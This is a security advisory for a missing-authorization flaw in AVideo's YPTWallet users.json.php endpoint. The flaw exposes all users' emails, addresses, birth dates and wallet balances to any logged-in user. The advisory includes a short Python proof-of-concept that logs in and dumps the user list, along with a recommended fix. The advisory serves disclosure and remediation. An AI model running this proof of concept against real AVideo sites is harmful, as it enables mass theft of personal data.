Mass User PII Disclosure via Missing Authorization in YPTWallet users.json.php

Moderate **DanielnetoDotCom** published **GHSA-77jp-mgcw-rfmr** last week

Software

WWBN/AVideo

Affected versions

<= 26.0

Patched versions

None

Description

Severity: High
CWE: CWE-862 (Missing Authorization)

Summary

The `plugin/YPTWallet/view/users.json.php` endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks `User::isLogged()` but does not check `User::isAdmin()`, so any registered user can dump the full user database.

Details

The authorization check at `plugin/YPTWallet/view/users.json.php:8`:

```
if (!User::isLogged()) {
    die("Is not logged");
}
```

The query in `YPTWallet::getAllUsers()` selects all columns from both tables:

```
$sql = "SELECT w.*, u.*, u.id as user_id, IFNULL(balance, 0) as balance FROM users
```

```
    . " LEFT JOIN wallet w ON u.id = w.users_id WHERE 1=1 ";
```

The `cleanUpRowFromDatabase()` function strips fields matching `/pass/i` (removes `password` and `recoverPass`), but all other PII fields remain: `email`, `phone`, `address`, `zip_code`, `country`, `region`, `city`, `first_name`, `last_name`, `birth_date`, `isAdmin`, `analyticsCode`, `donationLink`, and `balance`.

Other endpoints in the same directory (`saveBalance.php`, `adminManageWallets.php`, `pendingRequests.json.php`) all check `User::isAdmin()`.

Proof of Concept

```python
import requests

TARGET = "https://your-avideo-instance.com"

# Step 1: Login as any regular (non-admin) user
session = requests.Session()
session.post(f"{TARGET}/objects/login.json.php", data={
    "user": "regular_user",
    "pass": "regular_password"
})

# Step 2: Request the users endpoint
resp = session.post(f"{TARGET}/plugin/YPTWallet/view/users.json.php", data={
    "current": "1",
    "rowCount": "10"
})

data = resp.json()
print(f"Total users: {data['total']}")
for u in data["rows"]:
    print(f"  User: {u['user']}, Email: {u['email']}, Admin: {u['isAdmin']}, Balance: {u
```

The response contains every user on the platform, including admin accounts, with fields: `email`, `phone`, `address`, `zip_code`, `country`, `region`, `city`, `first_name`, `last_name`, `birth_date`, `isAdmin`, `balance`, `analyticsCode`, `donationLink`.

Impact

Any registered user can extract the complete user database with PII (emails, phone numbers, addresses, birth dates, real names) and financial data (wallet balances). This is a mass data breach that may trigger notification requirements under GDPR or CCPA.

Recommended Fix

Change `User::isLogged()` to `User::isAdmin()` at `plugin/YPTWallet/view/users.json.php:8`:

```
// plugin/YPTWallet/view/users.json.php:8
// Before:
if (!User::isLogged()) {
    die("Is not logged");
}

// After:
if (!User::isAdmin()) {
    die("Is not logged");
}
```

This matches the authorization pattern already used by the other endpoints in the same directory (`saveBalance.php`, `adminManageWallets.php`, `pendingRequests.json.php`).

Found by aisafe.io

Severity

Moderate 6.5 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	None
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-34395

Weaknesses

▶ CWE-862

Credits

adrgs Reporter

aisafe-bot Finder